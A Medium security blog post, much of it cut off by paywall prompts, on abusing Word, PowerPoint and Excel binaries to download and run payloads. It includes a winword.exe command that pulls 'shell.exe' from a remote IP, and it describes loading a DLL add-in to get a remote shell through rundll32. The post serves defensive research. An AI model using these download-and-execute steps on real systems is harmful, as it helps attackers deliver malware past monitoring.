Open in app ↗ Sign up Sign in

Medium Search Write

Unsanitized file validation leads to Malicious payload download via Office binaries.

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- Distraction-free reading. No ads.
- Organize your knowledge with lists and highlights.
- Tell your story. Find your audience.

Sign up for free

Membership

- Read member-only stories
- Support writers you read most
- Earn money for your writing
- Listen to audio narrations
- Read offline with the Medium app

Try for 5 $/month

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/

As a part of finding vulnerable endpoints to improve defence, I used to reckon legitimate binaries on any chance of masking for payload download/execute.

I focused my research towards Office binaries (winword/powerpnt/excel), My aim is to download a payload remotely via legitimate binaries by

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

✦ Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

> *%localappdata%\Microsoft\Windows\Temporary Internet Files*

This time i tried to download an executable and Winword.exe opens with scrambled strings.

> *winword.exe "http://192.168.1.10/shell.exe"*

I noticed the file was downloaded here %localappdata%\Microsoft\Windows\Temporary Internet Files\Content.MSO

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

Once the DLL was downloaded , I probed possible ways to execute the DLL via Office binaries, As researched There is a feature we can load Addins to Microsoft office.

I load the DLL payload via Microsoft Office, Awesome again I got the remote shell, When i see the chain of events, **Winword.exe -> Rundll32 -> C2**, There is no initial visibility on command line that which file rundll32 loaded (Ofcourse we can get those details by looking in to memory)

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- ✓ Distraction-free reading. No ads.
- ✓ Organize your knowledge with lists and highlights.
- ✓ Tell your story. Find your audience.

Membership

- ✓ Read member-only stories
- ✓ Support writers you read most
- ✓ Earn money for your writing
- ✓ Listen to audio narrations
- ✓ Read offline with the Medium app

The above 2 features indeed not a vulnerability, but the attackers can use windows legitimate binaries to download and execute the payload, This have been tracking as LOLBINS.

https://youtu.be/yk3gKrgRVEE

As you can see above all payload download and execute are carried on via Office binaries.

But we can recommend Microsoft on first method “Payload Download” to

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

- Distraction-free reading. No ads.
- Organize your knowledge with lists and highlights.
- Tell your story. Find your audience.

Membership

- Read member-only stories
- Support writers you read most
- Earn money for your writing
- Listen to audio narrations
- Read offline with the Medium app

- Split the inserted payload to original document.
- Password protect the Base64 embedded document.

Security Red Team Blue Team Exploit Threat Hunting

-- 3

Medium

Sign up to discover human stories that deepen your understanding of the world.

Free

✓ Distraction-free reading. No ads.

✓ Organize your knowledge with lists and highlights.

✓ Tell your story. Find your audience.

Membership

✓ Read member-only stories

✓ Support writers you read most

✓ Earn money for your writing

✓ Listen to audio narrations

✓ Read offline with the Medium app